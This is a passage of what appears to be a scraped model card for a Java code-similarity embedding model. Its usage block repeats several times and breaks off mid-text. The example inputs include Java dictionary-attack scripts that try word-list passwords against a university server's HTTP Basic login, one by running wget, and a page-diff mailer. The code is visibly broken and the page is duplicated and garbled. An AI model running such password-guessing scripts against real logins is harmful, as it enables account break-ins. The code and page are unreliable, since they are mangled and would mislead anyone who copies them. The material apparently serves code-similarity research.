password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 